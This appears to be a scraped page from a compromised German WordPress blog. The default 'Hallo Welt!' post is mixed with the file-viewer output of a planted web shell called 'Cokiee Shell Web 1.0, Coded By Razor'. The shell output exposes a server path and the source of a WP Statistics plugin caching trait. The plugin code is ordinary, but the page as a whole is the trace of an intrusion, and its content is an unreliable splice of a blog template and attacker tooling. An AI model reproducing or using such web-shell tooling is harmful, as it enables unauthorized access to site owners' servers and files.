Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web28/html/wp-content/plugins/wp-statistics/src/Traits/ |
Current File : //var/www/web28/html/wp-content/plugins/wp-statistics/src/Traits/TransientCacheTrait.php |
<?php namespace WP_Statistics\Traits; /** * Trait to handle caching logic. * @doc https://github.com/wp-statistics/wp-statistics/wiki/TransientCacheTrait.md */ trait TransientCacheTrait { /** * Get the cache key for the given input. * * @param string $input * * @return string */ public function getCacheKey($input) { $hash = substr(md5($input), 0, 10); return sprintf('wp_statistics_cache_%s', $hash); } /** * Get the cached result for the given input. * * @param string $input * * @return mixed */ public function getCachedResult($input) { $cacheKey = $this->getCacheKey($input); return get_transient($cacheKey); } /** * Set the cached result for the given input. * * @param string $input * @param mixed $result * @param int $expiration Expiration time for the cache in seconds. * * @return bool */ public function setCachedResult($input, $result, $expiration = DAY_IN_SECONDS) { $cacheKey = $this->getCacheKey($input); return set_transient($cacheKey, $result, $expiration * 24); } /** * Clear the cached result for the given query. * * @param string $query * * @return bool */ public function clearCache($query) { $cacheKey = $this->getCacheKey($query); return delete_transient($cacheKey); } }
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare